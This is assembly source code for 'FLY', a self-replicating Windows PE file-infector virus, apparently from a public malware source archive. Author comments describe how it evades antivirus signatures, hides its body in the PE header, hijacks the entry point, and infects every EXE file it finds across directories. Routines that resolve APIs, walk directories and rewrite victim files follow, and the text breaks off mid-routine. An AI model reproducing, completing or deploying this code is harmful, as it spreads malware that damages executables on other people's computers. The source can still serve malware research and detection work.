mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1038 lines
34 KiB
NASM
1038 lines
34 KiB
NASM
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;@ECHO OFF
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;GOTO MAKE
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COMMENT @
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-=[ FLY ]=-
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a lame virus
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by yoda
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version: 1.21
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Music..................borrowed Nirvana-Nevermind CD/Busta Rhymes/KKS/RunDMC
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Assembler..............MASM
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Editor.................UltraEdit32
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Reason for coding......last school holiday day :)
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Target files...........PE32/PE32+ EXE files
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Payload................MessageBox if PC is already 30min up
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It was nice to find out that KAV added FLY 1.1 to its virii database as Win32.Small.1144.
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The edge is that they didn't find the "FLY" trademark in the header and so it rests in
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disinfected files :)
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This version is fully recoded. The old code was often less optimized and such things.
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FLY 1.2 infects 32/64 bit EXE files in the current and in all subdirectries (it's called
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dot dot methode, I think).
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Whereby I don't know whether infected PE32+ files will run...I think:NO...in this case you'll
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have to look at FLY as a PE32 infector with a PE32+ destruction feature :)
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The virus body is neither appended at the target file image nor it's written into a
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section (like the RelocationDirectory section - .reloc). First I patch the file image
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to make the SizeOfHeaders 0x1000...move sections physically, fix NT/ST headers... And after
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that the virus body is written into the PE header. I didn't include any BoundImportDirectory
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processing. This Directory is always (I think) stored in the PE Header (after the
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SectionHeaderTable). If present, it maybe gets overwritten, so I simply clear the BoundImport
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DataDirectory in the DataDirectoryEntryTable.
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The EntryPoint RVA in the header of the victim isn't changed. FLY assembles...
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PUSH ptr_to_virus_body
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RET
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...at the EntryPoint and when the execution of the virus body is finished, it rewrites the
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orginal EntryPoint bytes and jumps to it.
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Because we don't have write access in the PE header in memory, one of the first steps FLY does
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is getting this access by the VirtualProtect API.
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I generally tried to avoid strings like "*.exe", "MZ", "MessageBoxA" in the virus body. This
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is reallized by different ways:obfuscation values, build strings on stack or by XORing the
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data partion of the virus. Any other protection schemes like Anti-Debugging, Polymorphism or
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things like that aren't used.
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Payload is a simply but topmost :) MessageBox if the PC is already 30min up.
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Disclaimer:
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~~~~~~~~~~~
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I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SOURCE CODE NOR IT'S COMPILED EXECUTABLE !
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I JUST CODED "FLY" FOR EDUCATION PURPOSES !
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History:
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~~~~~~~~
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1.21: ( Virsu size: 0x715 Bytes )
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- finally added SEH frame in "GetNTHeaders" routine
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1.2: ( Virus size: 0x6D7 Bytes )
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- all recoded (see above)
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- [...]
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1.1: ( Virus size: 0x484 Bytes / 1156 Bytes )
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- Code optimized a bit
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- Boring PER added
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- API string CRC method added
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- Minor bugfixes
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1.0: ( Virus size: 0x560 Bytes / 1376 Bytes )
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- first release
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yoda
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@
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.386
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.MODEL flat,stdcall
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OPTION CASEMAP : NONE
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; ------ INCLUDE's ----------------------------------------------------------------------
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INCLUDE \masm32\include\windows.inc
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INCLUDE \masm32\include\kernel32.inc
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INCLUDELIB \masm32\lib\kernel32.lib
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; ------ STRUCTS-------------------------------------------------------------------------
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PUSHA_STRUCT STRUCT 1
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_EDI DWORD ?
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_ESI DWORD ?
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_EBP DWORD ?
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_ESP DWORD ?
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_EBX DWORD ?
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_EDX DWORD ?
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_ECX DWORD ?
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_EAX DWORD ?
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PUSHA_STRUCT ENDS
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;SEH_DATA STRUCT 1
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; dwNewESP DWORD ?
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; dwNewEIP DWORD ?
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;SEH_DATA ENDS
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IMAGE_OPTIONAL_HEADER64 STRUCT 1
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Magic WORD ?
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MajorLinkerVersion BYTE ?
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MinorLinkerVersion BYTE ?
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SizeOfCode DWORD ?
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SizeOfInitializedData DWORD ?
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SizeOfUninitializedData DWORD ?
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AddressOfEntryPoint DWORD ?
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BaseOfCode DWORD ?
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ImageBase QWORD ?
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SectionAlignment DWORD ?
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FileAlignment DWORD ?
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MajorOperatingSystemVersion WORD ?
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MinorOperatingSystemVersion WORD ?
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MajorImageVersion WORD ?
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MinorImageVersion WORD ?
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MajorSubsystemVersion WORD ?
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MinorSubsystemVersion WORD ?
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Win32VersionValue DWORD ?
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SizeOfImage DWORD ?
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SizeOfHeaders DWORD ?
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CheckSum DWORD ?
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Subsystem WORD ?
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DllCharacteristics WORD ?
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SizeOfStackReserve QWORD ?
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SizeOfStackCommit QWORD ?
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SizeOfHeapReserve QWORD ?
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SizeOfHeapCommit QWORD ?
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LoaderFlags DWORD ?
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NumberOfRvaAndSizes DWORD ?
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DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
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IMAGE_OPTIONAL_HEADER64 ENDS
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IMAGE_NT_HEADERS64 STRUCT 1
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Signature DWORD ?
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FileHeader IMAGE_FILE_HEADER <>
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OptionalHeader IMAGE_OPTIONAL_HEADER64 <>
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IMAGE_NT_HEADERS64 ENDS
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; ------ EQU's --------------------------------------------------------------------------
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OBFUSCATION_VAL EQU 018273645h
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FLY_BODY_SIZE EQU (FLY_END - FLY_START)
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FLY_TRADEMARK EQU "YLF" ; pasted in FileHeader.PointerToSymbolTable
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VIRUS_OFFSET EQU (01000h - FLY_BODY_SIZE)
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MIN_PAYLOAD_TICK EQU 30 * 60 * 1000 ; (30 min)
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; ------ CODE ---------------------------------------------------------------------------
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.CODE
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ASSUME FS : NOTHING
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Main:
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CALL GetVersion ; The compiled exe won't run on Win2k without any Imports :(
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; This call is just for the first generation
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FLY_START:
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; INT 3
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;-> receive delta
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PUSHAD
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CALL get_delta
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get_delta:
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ADD DWORD PTR [ESP], OBFUSCATION_VAL
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LEA EBX, [OFFSET get_delta + OBFUSCATION_VAL]
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POP EBP
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SUB EBP, EBX
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;-> get kernel ImageBase
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PUSH [ESP].PUSHA_STRUCT._ESP
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CALL GetKernelBase
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TEST EAX, EAX
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JZ total_quit
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MOV EDI, EAX ; EDI -> K32 base
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;-> get write access for the virus body (in PE Header is usually ReadOnly access)
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SUB ESP, 16
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MOV ESI, ESP ; ESI -> base ptr of our little stack frame
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MOV DWORD PTR [ESI], "triV" ;
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MOV DWORD PTR [ESI + 4], "Plau" ;
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MOV DWORD PTR [ESI + 8], "etor" ;
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MOV DWORD PTR [ESI + 12], "tc" ; build "VirtualProtect\0" str on stack
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PUSH 15
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PUSH ESI
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PUSH EDI
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CALL GetProcAddr
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ADD ESP, 16
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PUSH EAX ; reserve a DWORD on the stack as lpflOldProtect buff
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PUSH ESP
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PUSH PAGE_EXECUTE_READWRITE
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PUSH FLY_BODY_SIZE
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LEA EBX, [EBP + FLY_START]
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PUSH EBX
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CALL EAX ; modify page access via VirtualProtect
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POP EAX
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;-> dexor our data partition
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MOV EBX, [EBP + dwEPRva] ; EBX -> EntryPoint RVA (arg1)
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CALL GetXorByte ; returns 0 in first generation
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PUSH EAX
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PUSH (Variable_Crypt_End - Variable_Crypt_Start)
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LEA EAX, [EBP + Variable_Crypt_Start]
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PUSH EAX
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CALL memxor
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MOV [EBP + dwK32Base], EDI ; now we can save the K32 base
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;-> collect addresses of needed APIs
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CALL GrabAPIs
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;-> PE infection
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MOV EBX, EBP
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CALL TraceAndInfectDirectory
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;-> return to OS/original EntryPoint
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TEST EBP, EBP ; EBP == 0 -> first generation
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JNZ non_virgin_generation
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total_quit:
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POPAD
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RET ; return to OS
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non_virgin_generation:
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;-> payload
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CALL DriveUserNutsHiHi
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;-> move EntryPoint ptr to EDI of the popad'd regs
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MOV EAX, [EBP + dwImageBase]
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ADD EAX, [EBP + dwEPRva]
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MOV [ESP].PUSHA_STRUCT._EDI, EAX
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;-> restore bytes at the EntryPoint
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PUSH 6
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PUSH EAX
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LEA EAX, [EBP + bEntryData]
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PUSH EAX
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CALL memcpy
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POPAD
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JMP EDI ;-> jump to victim's EntryPoint
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;
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; Args:
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; [ESP + 4] - initial ESP value
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;
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; Returns:
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; ImageBase of Kernel32.dll or 0 in EAX
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;
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; Reserved Regs: NO
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;
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GetKernelBase:
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ARG_1 EQU [ESP + 4]
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;INT 3
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; wipe LOWORD of K32 ptr
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MOV ESI, ARG_1
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MOV ESI, [ESI] ; ESI -> ptr into K32
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SAR ESI, 16 ;
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SAL ESI, 16 ; ESI &= 0xFFFF0000
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@@test_4_PE_hdr:
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PUSH ESI
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CALL GetNTHeaders
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TEST EAX, EAX
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JZ @F
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; K32 PE hdr found !
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XCHG EAX, ESI
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JMP @@exit_proc
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@@:
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SUB ESI, 000010000h
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JMP @@test_4_PE_hdr
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@@exit_proc:
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RET 4
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;
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; Args:
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; [ESP + 4] - ptr to an PE image
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; EBP - delta !
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;
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; Returns:
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; the ptr to the NT headers of NULL in case of an error
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;
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; Reserved Regs: ALL
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;
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GetNTHeaders:
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ARG_1 EQU [ESP + 4 + 2*4 + SIZEOF PUSHA_STRUCT]
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; INT 3
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PUSHAD
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; set up SEH frame
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SUB EAX, EAX
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LEA EBX, [EBP + SehHandler]
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PUSH EBX
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PUSH FS:[EAX]
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MOV FS:[EAX], ESP
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; process
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SUB EAX, EAX ; EAX -> 0 (result REG)
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MOV ESI, ARG_1 ; ESI -> pImage
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MOVZX EDX, WORD PTR [ESI]
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ADD EDX, 1234
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SUB EDX, "ZM" + 1234
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JNZ GetNTHeaders_exit
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MOV EDI, DWORD PTR [ESI].IMAGE_DOS_HEADER.e_lfanew
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MOV EDX, [EDI + ESI]
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SUB EDX, 4321
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SUB EDX, "EP" - 4321
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JNZ GetNTHeaders_exit
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LEA EAX, [EDI + ESI]
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GetNTHeaders_exit:
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SUB EBX, EBX
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POP FS:[EBX]
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ADD ESP, 4
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MOV [ESP].PUSHA_STRUCT._EAX, EAX ; EAX -> popad'd REGs
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POPAD
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RET 4
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SehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
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; INT 3
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;-> modify EIP and continue execution
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MOV EAX, pContext ; EAX -> context ptr
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MOV ECX, [EAX].CONTEXT.regEbp ; ECX -> debuggee's EBP
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LEA EBX, [ECX + GetNTHeaders_exit]
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MOV [EAX].CONTEXT.regEip, EBX
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MOV EAX, ExceptionContinueExecution
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RET
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SehHandler ENDP
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;
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; void* GetProcAddr(HINSTANCE hDLL, char* szAPI, DWORD dwcAPIStrSize);
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;
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; Returns:
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; NULL - in case of an error
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;
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; Reserved Regs: Win32 API
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;
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GetProcAddr:
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ARG_1 EQU [ESP + 4]
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ARG_2 EQU [ESP + 8]
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ARG_3 EQU [ESP + 12]
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PUSH EBX
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PUSH ESI
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PUSH EDI
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MOV EDX, [ESP + 4 + 12] ; EDX -> dll base
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; get ptr to NT hdrs
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PUSH EDX
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CALL GetNTHeaders
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TEST EAX, EAX ; EAX -> ptr to NT hdrs
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JZ @@GetProcAddr_exit
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; get ptr to ExportTable (PE32/PE32+ dependent code)
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CMP WORD PTR [EAX].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR32_MAGIC
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JNZ get_exp_table_rva_64
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MOV EDI, [EAX].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
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JMP @F
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get_exp_table_rva_64:
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MOV EDI, [EAX].IMAGE_NT_HEADERS64.OptionalHeader.DataDirectory[0].VirtualAddress
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@@:
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ADD EDI, EDX ; EDI -> exp table RVA
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MOV ESI, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; ESI -> exp symbol names chain RVA
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ADD ESI, EDX
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SUB EBX, EBX ; EBX = chain index
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process_name:
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; compare API strings
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LODSD
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PUSHAD
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LEA EDI, [EAX + EDX]
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MOV ESI, [ESP + 8 + SIZEOF PUSHA_STRUCT + 12]
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MOV ECX, [ESP + 12 + SIZEOF PUSHA_STRUCT + 12]
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REPZ CMPSB
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POPAD
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JZ API_name_found_in_chain
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INC EBX
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CMP EBX, [EDI].IMAGE_EXPORT_DIRECTORY.NumberOfNames
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JNZ process_name
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; (all names processed but nothing found)
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SUB EAX, EAX
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JZ @@GetProcAddr_exit
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API_name_found_in_chain:
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; grab corresponding ordinal
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MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
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ADD EAX, EDX ; EAX -> ordinal chain ptr
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MOVZX ECX, WORD PTR [EAX + EBX*2] ; ECX -> symbol ordinal
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; finally get symbol RVA
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MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
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ADD EAX, EDX ; EAX -> symbol RVA chain ptr
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MOV EAX, [EAX + ECX*4]
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ADD EAX, EDX ; EAX -> symbol ptr
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@@GetProcAddr_exit:
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POP EDI
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POP ESI
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POP EBX
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RET 12
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;
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; Reserved Regs: NO
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;
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GrabAPIs:
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LEA ESI, [EBP + OFFSET API_table] ; ESI -> first API table entry
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NextApiTableEntry:
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; receive API addr of current struct
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MOVZX EDI, BYTE PTR [ESI] ; EDI -> API str length
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PUSH EDI
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LEA EAX, [ESI + 5]
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PUSH EAX
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PUSH [EBP + dwK32Base]
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CALL GetProcAddr
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INC ESI ; ESI += 1
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MOV [ESI], EAX
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; process next struct
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ADD ESI, EDI
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ADD ESI, 4
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SUB EAX, EAX
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CMP BYTE PTR [ESI], AL
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JNZ NextApiTableEntry
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RET
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;
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; Args:
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; EBX - delta
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;
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; Reserved Regs: NO
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;
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TraceAndInfectDirectory PROC
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LOCAL WFD : WIN32_FIND_DATA
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LOCAL cPath[MAX_PATH] : BYTE
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LOCAL hFind : HANDLE
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; get current directory
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LEA ESI, cPath ; ESI -> path buffer
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PUSH ESI
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PUSH MAX_PATH
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CALL [EBX + _GetCurrentDirectory]
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process_current_dir:
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PUSH EAX ; reserve path length
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PUSH ESI
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CALL [EBX + _SetCurrentDirectory]
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POP EAX
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LEA EDI, [ESI + EAX]
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MOV AX, "*\"
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STOSW
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MOV AX, "E."
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STOSW
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MOV AX, "EX"
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STOSW
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SUB EAX, EAX
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STOSB
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LEA EDI, WFD ; EDI -> WIN32_FIND_DATA ptr
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PUSH EDI
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PUSH ESI
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CALL [EBX + _FindFirstFile]
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MOV hFind, EAX
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INC EAX
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JZ trace_previous_dir
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next_file_in_dir:
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LEA EAX, [EDI].WIN32_FIND_DATA.cFileName
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PUSH EAX
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CALL InfectFile
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PUSH EDI
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PUSH hFind
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CALL [EBX + _FindNextFile]
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DEC EAX
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JZ next_file_in_dir
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trace_previous_dir:
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PUSH ESI
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CALL WipeLastDirInPath
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JC process_current_dir
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; cleanup
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PUSH hFind
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CALL [EBX + _FindClose]
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TraceAndInfectDirectory_exit:
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RET
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TraceAndInfectDirectory ENDP
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;
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; if the last directory was successfully ripped from path string then the carry flag is set
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; addionally the new path string size is returned in EAX
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;
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; Args:
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; [ESP + 4] - path buffer
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;
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; Reserved Regs: Win32 API
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;
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WipeLastDirInPath:
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ARG_1 EQU [ESP + 4]
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PUSH EBX
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PUSH ESI
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PUSH EDI
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CLC
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CLD
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SUB EAX, EAX
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MOV EDI, ARG_1
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MOV ECX, MAX_PATH
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REPNZ SCASB
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STD
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MOV AL, "\"
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NEG ECX
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ADD ECX, MAX_PATH
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REPNZ SCASB
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TEST ECX, ECX
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JZ WipeLastDirInPath_exit
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REPNZ SCASB
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TEST ECX, ECX
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JZ WipeLastDirInPath_exit
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CMP ECX, 1 ; will result be a root path (e.g. C:\) ?
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JZ root_path
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MOV BYTE PTR [EDI + 1], 0 ; set new NUL terminator
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JMP SHORT ret_new_str
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root_path:
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MOV BYTE PTR [EDI + 2], 0
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ret_new_str:
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LEA EAX, [ECX + 1] ; EAX -> return string size
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STC
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WipeLastDirInPath_exit:
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POP EDI
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POP ESI
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POP EBX
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CLD
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RET 4
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;
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; Args:
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; EBX - delta
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;
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; Reserved Regs: ALL
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;
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; Returns: void
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;
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;
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InfectFile PROC szFname
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LOCAL hFile : HANDLE
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|
LOCAL dwFSize : DWORD
|
|
LOCAL dwc : DWORD
|
|
LOCAL b64Bit : DWORD
|
|
LOCAL dwHdrSizeDelta : DWORD
|
|
; LOCAL dwRealHdrSize : DWORD
|
|
LOCAL dwFirstSecRO : DWORD
|
|
LOCAL pFirstSecHdr : DWORD
|
|
LOCAL dwMemBlockSize : DWORD
|
|
LOCAL pVirusBody : DWORD
|
|
; LOCAL dwViriiOffset : DWORD ; Offset (without any Mem- or ImageBase)
|
|
LOCAL dwVictimBase : DWORD
|
|
|
|
PUSHAD
|
|
; -> get write access to the file and map it to memory
|
|
XOR EAX, EAX
|
|
PUSH EAX
|
|
PUSH FILE_ATTRIBUTE_NORMAL
|
|
PUSH OPEN_EXISTING
|
|
PUSH EAX
|
|
PUSH FILE_SHARE_WRITE + FILE_SHARE_READ
|
|
PUSH GENERIC_WRITE + GENERIC_READ
|
|
PUSH szFname
|
|
CALL [EBX + _CreateFile]
|
|
MOV hFile, EAX
|
|
INC EAX
|
|
JZ InfectFile_exit
|
|
SUB EAX, EAx
|
|
PUSH EAX
|
|
PUSH hFile
|
|
CALL [EBX + _GetFileSize]
|
|
MOV dwFSize, EAX
|
|
ADD EAX, 01000h ; add max hdr size to size of mem
|
|
PUSH EAX
|
|
PUSH GMEM_FIXED OR GMEM_ZEROINIT
|
|
CALL [EBX + _GlobalAlloc]
|
|
OR EAX, EAX
|
|
JZ cleanup_free_mem
|
|
MOV ESI, EAX ; ESI -> mem ptr
|
|
SUB EAX, EAX
|
|
PUSH EAX
|
|
LEA EAX, dwc
|
|
PUSH EAX
|
|
PUSH dwFSize
|
|
PUSH ESI
|
|
PUSH hFile
|
|
CALL [EBX + _ReadFile]
|
|
|
|
; -> get ptr to NT hdrs and check whether the file was already infect
|
|
PUSH EBP
|
|
MOV EBP, EBX
|
|
PUSH ESI
|
|
CALL GetNTHeaders
|
|
POP EBP
|
|
OR EAX, EAX
|
|
JZ cleanup_free_mem
|
|
MOV EDI, EAX ; EDI -> NT hdrs
|
|
MOV EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
|
|
ADD EAX, OBFUSCATION_VAL
|
|
CMP EAX, FLY_TRADEMARK + OBFUSCATION_VAL
|
|
JZ cleanup_free_mem
|
|
|
|
;-> check for PE32+
|
|
SUB EAX, EAX
|
|
CMP WORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR64_MAGIC
|
|
SETZ AL
|
|
MOV b64Bit, EAX
|
|
|
|
PUSH EBX ; !!! reserve unneeded delta to stack
|
|
|
|
;-> get section hdr ptr
|
|
MOV AX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
|
|
LEA EBX, [EAX + EDI + 4 + SIZEOF IMAGE_FILE_HEADER] ; EBX -> section hdr table ptr
|
|
MOV pFirstSecHdr, EBX
|
|
|
|
;
|
|
;-> infect file image
|
|
;
|
|
|
|
; -> get real size of hdrs, test whether the virus body has enough space there
|
|
SUB EDX, EDX
|
|
MOV EAX, SIZEOF IMAGE_SECTION_HEADER
|
|
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
|
|
MUL ECX
|
|
MOVZX EDX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
|
|
LEA EDX, [EAX + EDX + 4 + SIZEOF IMAGE_FILE_HEADER]
|
|
ADD EDX, [ESI].IMAGE_DOS_HEADER.e_lfanew ; (EDX = real size of headers)
|
|
; MOV dwRealHdrSize, EDX
|
|
NEG EDX
|
|
ADD EDX, 01000h ; EDX -> delta to hdr with 0x1000 size
|
|
CMP EDX, FLY_BODY_SIZE ; enough size in header ?
|
|
JGE @F
|
|
POP EBX
|
|
JMP cleanup_free_mem
|
|
@@:
|
|
; -> get the RawOffset of the first section
|
|
SUB EDX, EDX
|
|
DEC EDX ; EDX -> MAX_DWORD
|
|
MOV EAX, EBX ; EAX -> first section header
|
|
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
|
|
scan_sec_hdr_for_low_RO:
|
|
CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
|
|
JAE @F
|
|
MOV EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData
|
|
@@:
|
|
ADD EAX, SIZEOF IMAGE_SECTION_HEADER ; EAX += sizeof(IMAGE_SECTION_HEADER)
|
|
LOOP scan_sec_hdr_for_low_RO
|
|
MOV dwFirstSecRO, EDX
|
|
NEG EDX
|
|
ADD EDX, 01000h
|
|
MOV dwHdrSizeDelta, EDX
|
|
|
|
POP EBX ; restore delta from stack -> EBX
|
|
|
|
; -> patch the file image, so that it'll have a SizeOfHeaders of 0x1000
|
|
; move all sections by the calucalated delta back
|
|
; INT 3
|
|
MOV EDX, dwFirstSecRO
|
|
NEG EDX
|
|
ADD EDX, dwFSize ; EDX -> mem block size
|
|
MOV dwMemBlockSize, EDX
|
|
PUSH EDX
|
|
PUSH GMEM_FIXED OR GMEM_ZEROINIT
|
|
CALL [EBX + _GlobalAlloc]
|
|
TEST EAX, EAX
|
|
JZ cleanup_free_mem
|
|
; sections -> memory buffer
|
|
XCHG EDX, EAX ; EDX -> mem block ptr
|
|
PUSH dwMemBlockSize
|
|
PUSH EDX
|
|
MOV EAX, dwFirstSecRO
|
|
ADD EAX, ESI ; EAX -> ptr to first section
|
|
PUSH EAX
|
|
CALL memcpy
|
|
; memory buffer -> new location for sections (offset + dwHdrSizeDelta)
|
|
PUSH dwMemBlockSize
|
|
LEA EAX, [ESI + 01000h]
|
|
PUSH EAX
|
|
PUSH EDX
|
|
CALL memcpy
|
|
|
|
PUSH EDI
|
|
CALL [EBX + _GlobalFree]
|
|
|
|
;-> fix section header table
|
|
PUSH EBX ; ! reserve EBX
|
|
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
|
|
MOV EAX, pFirstSecHdr ; EAX -> first section hdr
|
|
MOV EDX, dwHdrSizeDelta ; EDX -> hdr delta
|
|
SUB EBX, EBX ; EBX -> 0
|
|
fix_and_replace_section:
|
|
CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EBX
|
|
JZ @F
|
|
ADD [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
|
|
@@:
|
|
ADD EAX, SIZEOF IMAGE_SECTION_HEADER
|
|
LOOP fix_and_replace_section
|
|
POP EBX ; ! restore EBX
|
|
|
|
;-> insert virus body after the SectionHeaderTable
|
|
; INT 3
|
|
PUSHAD
|
|
LEA EDI, [ESI + VIRUS_OFFSET] ; EDI -> ptr to the end of the SectionHeaderTable
|
|
LEA ESI, [EBX + FLY_START] ; ESI -> start of the virus body
|
|
MOV ECX, FLY_BODY_SIZE
|
|
REP MOVSB
|
|
POPAD
|
|
|
|
;-> insert EntryPoint RVA and ImageBase into virus body
|
|
LEA EDX, [ESI + VIRUS_OFFSET] ; EDX -> virus body ptr (in victim)
|
|
MOV pVirusBody, EDX
|
|
; save OEP
|
|
PUSH DWORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
|
|
POP DWORD PTR [EDX + (OFFSET dwEPRva - OFFSET FLY_START)]
|
|
; save ImageBase
|
|
MOV EAX, b64Bit
|
|
DEC EAX
|
|
JZ ImageBase_is_qword
|
|
PUSH [EDI].IMAGE_NT_HEADERS.OptionalHeader.ImageBase
|
|
JMP @F
|
|
ImageBase_is_qword:
|
|
PUSH DWORD PTR [EDI.IMAGE_NT_HEADERS64.OptionalHeader.ImageBase]
|
|
@@:
|
|
POP EAX
|
|
MOV dwVictimBase, EAX
|
|
MOV [EDX + (OFFSET dwImageBase - OFFSET FLY_START)], EAX
|
|
|
|
; -> redirect EntryPoint, i.e.
|
|
; Victim_EntryPoint: PUSH virii_entry_VA (5 bytes)
|
|
; RET (6 bytes)
|
|
;INT 3
|
|
; find section belonging to the EntryPoint
|
|
PUSHAD
|
|
PUSH [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
|
|
MOVZX EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
|
|
PUSH EAX
|
|
PUSH pFirstSecHdr
|
|
CALL RvaToSection ; EAX -> sec hdr to which the EntryPoint RVA refers
|
|
MOV [ESP].PUSHA_STRUCT._EAX, EAX
|
|
POPAD
|
|
TEST EAX, EAX
|
|
JZ cleanup_free_mem
|
|
; save bytes at EntryPoint
|
|
MOV EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
|
|
SUB EDX, [EAX].IMAGE_SECTION_HEADER.VirtualAddress
|
|
ADD EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData ; EDX -> EntryPoint Offset
|
|
ADD EDX, ESI ; EDX -> EntryPoint Ptr
|
|
PUSH 6
|
|
MOV ECX, pVirusBody
|
|
ADD ECX, (OFFSET bEntryData - OFFSET FLY_START)
|
|
PUSH ECX
|
|
PUSH EDX
|
|
CALL memcpy
|
|
; assemble PUSH,RET at entry
|
|
MOV BYTE PTR [EDX], 068h
|
|
MOV ECX, VIRUS_OFFSET
|
|
ADD ECX, dwVictimBase
|
|
MOV DWORD PTR [EDX + 1], ECX
|
|
MOV BYTE PTR [EDX + 5], 0C3h
|
|
; set write flag in EntryPoint section
|
|
OR [EAX].IMAGE_SECTION_HEADER.Characteristics, 080000000h
|
|
|
|
;-> update NT hdrs
|
|
MOV [EDI].IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders, 01000h
|
|
LEA EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
|
|
MOV DWORD PTR [EAX], (FLY_TRADEMARK - OBFUSCATION_VAL)
|
|
ADD DWORD PTR [EAX], (OBFUSCATION_VAL)
|
|
; change EntryPoint
|
|
;PUSH dwRealHdrSize
|
|
;POP [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
|
|
MOV EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint ; EDX -> Entry RVA
|
|
; clear BoundImport because if it had been present we overwrote it with the virus body
|
|
LEA EDI, [EDI].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[11 * 8].VirtualAddress
|
|
SUB EAX, EAX
|
|
STOSD
|
|
STOSD
|
|
|
|
;-> encrypt data parition
|
|
PUSHAD
|
|
MOV EBX, EDX
|
|
CALL GetXorByte ; arg pushed above
|
|
PUSH EAX
|
|
PUSH (Variable_Crypt_End - Variable_Crypt_Start)
|
|
LEA EAX, [ESI + (VIRUS_OFFSET + (Variable_Crypt_Start - FLY_START))]
|
|
PUSH EAX
|
|
CALL memxor
|
|
POPAD
|
|
|
|
;-> write mem to file
|
|
SUB EDI, EDI ; EDI -> 0
|
|
PUSH FILE_BEGIN
|
|
PUSH EDI
|
|
PUSH EDI
|
|
PUSH hFile
|
|
CALL [EBX + _SetFilePointer]
|
|
PUSH EDI
|
|
LEA EAX, dwc
|
|
PUSH EAX
|
|
MOV EAX, dwFSize
|
|
ADD EAX, dwHdrSizeDelta
|
|
PUSH EAX
|
|
PUSH ESI
|
|
PUSH hFile
|
|
CALL [EBX + _WriteFile]
|
|
|
|
cleanup_free_mem:
|
|
PUSH ESI
|
|
CALL [EBX + _GlobalFree]
|
|
cleanup_file_handle:
|
|
PUSH hFile
|
|
CALL [EBX + _CloseHandle]
|
|
InfectFile_exit:
|
|
POPAD
|
|
RET
|
|
InfectFile ENDP
|
|
|
|
;
|
|
; Args:
|
|
; [ESP + 4] - ptr to first section header
|
|
; [ESP + 8] - number of sections
|
|
; [ESP + C] - dwRVA
|
|
;
|
|
; Returns:
|
|
; NULL in case of an error or PIMAGE_SECTION_HEADER
|
|
;
|
|
; ReservedRegs: NO
|
|
;
|
|
RvaToSection:
|
|
ARG_1 EQU [ESP + 4]
|
|
ARG_2 EQU [ESP + 8]
|
|
ARG_3 EQU [ESP + 12]
|
|
|
|
ASSUME ESI : PTR IMAGE_SECTION_HEADER
|
|
SUB EAX, EAX
|
|
MOV ESI, ARG_1 ; ESI -> ptr to first section hdr
|
|
MOV ECX, ARG_2 ; ECX -> number of sections
|
|
MOV EDI, ARG_3 ; EDI -> target rva
|
|
SUB EBX, EBX ; EBX -> 0
|
|
section_header_scan_loop:
|
|
MOV EDX, [ESI].VirtualAddress ; RVA >= VirtualAddress ?
|
|
CMP EDI, EDX
|
|
JB @F
|
|
CMP [ESI].Misc.VirtualSize, EBX ; VS == 0 (needed for Watcom files)
|
|
JZ add_RawSize_instead
|
|
ADD EDX, [ESI].Misc.VirtualSize ; RVA < VirtualAddress + VirtualSize ?
|
|
JMP compare
|
|
add_RawSize_instead:
|
|
ADD EDX, [ESI].SizeOfRawData
|
|
compare:
|
|
CMP EDI, EDX
|
|
JAE @F
|
|
JMP scan_done
|
|
@@:
|
|
ADD ESI, SIZEOF IMAGE_SECTION_HEADER
|
|
LOOP section_header_scan_loop
|
|
ASSUME ESI : NOTHING
|
|
scan_done:
|
|
TEST ECX, ECX
|
|
JZ @F
|
|
XCHG EAX, ESI
|
|
@@:
|
|
RET 12
|
|
|
|
;
|
|
; Args:
|
|
; [ESP + 4] - src
|
|
; [ESP + 8] - dest
|
|
; [ESP + C] - soue
|
|
;
|
|
; ReservedRegs: ALL
|
|
;
|
|
memcpy:
|
|
ARG_1 EQU [ESP + 4 + SIZEOF PUSHA_STRUCT]
|
|
ARG_2 EQU [ESP + 8 + SIZEOF PUSHA_STRUCT]
|
|
ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT]
|
|
PUSHAD
|
|
MOV ESI, ARG_1
|
|
MOV EDI, ARG_2
|
|
MOV ECX, ARG_3
|
|
REP MOVSB
|
|
POPAD
|
|
RET 12
|
|
|
|
;
|
|
; Args:
|
|
; [ESP + 4] - src
|
|
; [ESP + 8] - size
|
|
; [ESP + C] - xor byte
|
|
;
|
|
; ReservedRegs: ALL
|
|
;
|
|
memxor:
|
|
ARG_1 EQU [ESP + 4 + SIZEOF PUSHA_STRUCT]
|
|
